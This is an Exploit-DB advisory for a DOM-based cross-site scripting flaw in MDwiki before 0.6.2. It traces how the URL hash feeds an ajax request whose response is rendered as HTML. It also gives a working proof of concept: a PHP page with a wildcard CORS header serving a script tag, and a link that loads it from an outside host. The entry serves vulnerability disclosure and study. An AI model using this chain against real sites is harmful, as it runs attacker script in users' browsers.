MDwiki < 0.6.2 - Cross-Site Scripting

EDB-ID:
46097

CVE:
N/A

EDB Verified: ✓

Author:
EVI1M0

Type:
WEBAPPS

Exploit: / {}

Platform:
MULTIPLE

Date:
2017-03-02

Vulnerable App:

Originally thought that only a problem with Tencent's site implementation, the black brother reminded me to look at the Github address in the source code, only to find the open source [MDwiki] (https://github.com/Dynalon/mdwiki) universal system. (MDwiki is a wiki/CMS system built entirely on HTML5/Javascript technology and runs entirely on the client. No special server software is required, just upload mdwiki.html to the directory where you store the markdown files.) The problem occurs when the program gets the location The .hash value (normally test.md) is parsed and the ajax request is dynamically added to the page.

MDwiki.min.js

Decompressing the compressed JavaScript is easy to debug, and the confusion variable is temporarily ignored, n() :

```
    function n() {
        var b;
        b =
window.location.hash.substring(window.location.hash.startsWith("#!") ? 2 :
1), b = decodeURIComponent(b);
        var c = b.indexOf("#"); - 1 !== c ? (a.md.inPageAnchor =
b.substring(c + 1), a.md.mainHref = b.substring(0, c)) : a.md.mainHref = b
    }
```

The variable b gets the value after location.hash #! and URLDecode , which is then assigned to a.md.mainHref .

ajax getURL

```
 var d = {
    url: a.md.mainHref,
    dataType: "text"
};
a.ajax(d).done(function (a) {
    b = a, c()
}).fail(function () {
    var b = a.md.getLogger();
    b.fatal("Could not get " + a.md.mainHref), c()
})
```

The content will be requested by a.md.mainHref, and the b variable will be a:page content after completion.

```
var e = d(b);
a("#md-content").html(e), b = "";
var g = a.Deferred();
f(g), g.always(function () {
    c()
})
```

e = d(b), b requires equal to Payload, chase d function:

```
function d(b) {
    var c = {
        gfm: !0,
        tables: !0,
        breaks: !0
    };
    "original" === a.md.config.lineBreaks ? c.breaks = !1 : "gfm" ===
a.md.config.lineBreaks && (c.breaks = !0), marked.setOptions(c);
    var d = marked(b);
    return d
```

```
}
```

The e value is dynamically added to #md-content after being rendered by the d function –> marked(b) function, causing a vulnerability.

PoC

We can construct a page to write to Payload and set the ACCESS-CONTROL-ALLOW-ORIGIN header:

```
cat test/mdwiki.php
<?php

header("ACCESS-CONTROL-ALLOW-ORIGIN:*");
?>
<script>alert(location.href)</script>
```

```
eg:
http://dynalon.github.io/mdwiki/mdwiki.html#!http://server.n0tr00t.com/test/m
```

Tags:

Advisory/Source: Link